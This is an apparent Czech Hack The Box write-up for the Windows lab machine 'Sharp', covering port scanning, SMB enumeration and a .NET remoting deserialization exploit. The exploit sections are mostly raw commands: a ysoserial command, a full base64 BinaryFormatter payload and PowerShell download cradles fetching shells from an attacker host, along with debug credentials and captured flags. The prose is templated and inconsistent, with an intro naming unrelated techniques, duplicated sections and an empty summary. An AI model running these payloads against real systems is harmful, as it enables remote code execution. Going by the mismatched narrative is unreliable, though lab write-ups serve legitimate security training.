tom@home.htb:~$

Blog o HTB

15 January 2021

Sharp

Úvod a kontext

Sharp stojí na řetězení několika konkrétních slabin a artefaktů: převod dokumentů a server-side render a Redis.

Důležitější než samotný exploit je tady interpretace mezikroků, protože právě z těchto indicií vzniká přístup přes SMB sdílení a teprve na něj navazuje lokální enumeraci po získání shellu.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP

Vyhledání otevřených portů (2)

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open  storagecraft-image StorageCraft Image Manager
8889/tcp open  mc-nmf             .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -6m52s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-03-24T18:20:00
|_  start_date: N/A

Enumerace SMB

U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.

smbclient -L $IP -N
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	dev             Disk
	IPC$            IPC       Remote IPC
	kanban          Disk
SMB1 disabled -- no workgroup available

Enumerace SMB (2)

U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.

smbmap -H $IP -R --depth 10
[+] IP: 10.10.10.219:445	Name: 10.10.10.219
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	dev                                               	NO ACCESS
	IPC$                                              	NO ACCESS	Remote IPC
	kanban                                            	READ ONLY
	.\kanban\*
	dr--r--r--                0 Sat Nov 14 19:57:04 2020	.
	dr--r--r--                0 Sat Nov 14 19:57:04 2020	..
	fr--r--r--            58368 Sat Nov 14 19:57:04 2020	CommandLine.dll
	fr--r--r--           141312 Sat Nov 14 19:57:04 2020	CsvHelper.dll
	fr--r--r--           456704 Sat Nov 14 19:57:04 2020	DotNetZip.dll
	dr--r--r--                0 Sat Nov 14 19:57:59 2020	Files
	fr--r--r--            23040 Sat Nov 14 19:57:04 2020	Itenso.Rtf.Converter.Html.dll
	fr--r--r--            75776 Sat Nov 14 19:57:04 2020	Itenso.Rtf.Interpreter.dll
	fr--r--r--            32768 Sat Nov 14 19:57:04 2020	Itenso.Rtf.Parser.dll
	fr--r--r--            19968 Sat Nov 14 19:57:04 2020	Itenso.Sys.dll
	fr--r--r--           376832 Sat Nov 14 19:57:04 2020	MsgReader.dll
	fr--r--r--           133296 Sat Nov 14 19:57:04 2020	Ookii.Dialogs.dll
	fr--r--r--          2558011 Sat Nov 14 19:57:04 2020	pkb.zip
	dr--r--r--                0 Sat Nov 14 19:57:04 2020	Plugins
	fr--r--r--             5819 Sat Nov 14 19:57:04 2020	PortableKanban.cfg
	fr--r--r--           118184 Sat Nov 14 19:57:04 2020	PortableKanban.Data.dll
	fr--r--r--          1878440 Sat Nov 14 19:57:04 2020	PortableKanban.exe
	fr--r--r--            31144 Sat Nov 14 19:57:04 2020	PortableKanban.Extensions.dll
	fr--r--r--             2080 Sat Nov 14 19:57:04 2020	PortableKanban.pk3
	fr--r--r--             2080 Sat Nov 14 19:57:04 2020	PortableKanban.pk3.bak
	fr--r--r--               34 Sat Nov 14 19:57:04 2020	PortableKanban.pk3.md5
	fr--r--r--           413184 Sat Nov 14 19:57:04 2020	ServiceStack.Common.dll
	fr--r--r--           137216 Sat Nov 14 19:57:04 2020	ServiceStack.Interfaces.dll
	fr--r--r--           292352 Sat Nov 14 19:57:04 2020	ServiceStack.Redis.dll
	fr--r--r--           411648 Sat Nov 14 19:57:04 2020	ServiceStack.Text.dll
	fr--r--r--          1050092 Sat Nov 14 19:57:04 2020	User Guide.pdf
	.\kanban\Plugins\*
	dr--r--r--                0 Sat Nov 14 19:57:04 2020	.
	dr--r--r--                0 Sat Nov 14 19:57:04 2020	..
	fr--r--r--            64424 Sat Nov 14 19:57:04 2020	PluginsLibrary.dll

Analýza zjištění

Identifikace a hledání exploitu

Zjišťuji technologii a ověřuji známé zranitelnosti.

searchsploit PortableKanban

Identifikace a hledání exploitu (2)

Zjišťuji technologii a ověřuji známé zranitelnosti.

searchsploit remoting
git clone https://github.com/tyranid/ExploitRemotingService

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

Exploit na Windows
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell.ps1')"

ExploitRemotingService.exe -s --ver=4 --user="debug" --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw __CENSORED__

gc user.txt
__CENSORED__

copy-item -path . -destination c:\dev\ -recurse

Console.WriteLine(client.InvokePowerShell("IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell2.ps1')"));

gc root.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.

Exploit na Windows

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell.ps1')"

ExploitRemotingService.exe -s --ver=4 --user="debug" --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGUvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNDo4MDAwL3BzMS9zaGVsbC5wczEnKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL

gc user.txt
1629f8776d8db78c8a844609cadf8412

copy-item -path . -destination c:\dev\ -recurse

Console.WriteLine(client.InvokePowerShell("IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell2.ps1')"));

gc root.txt
72eaf082fcf0cf1e6d65f33339d40c20

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - smb - exploit - enumeration - privesc - hackthebox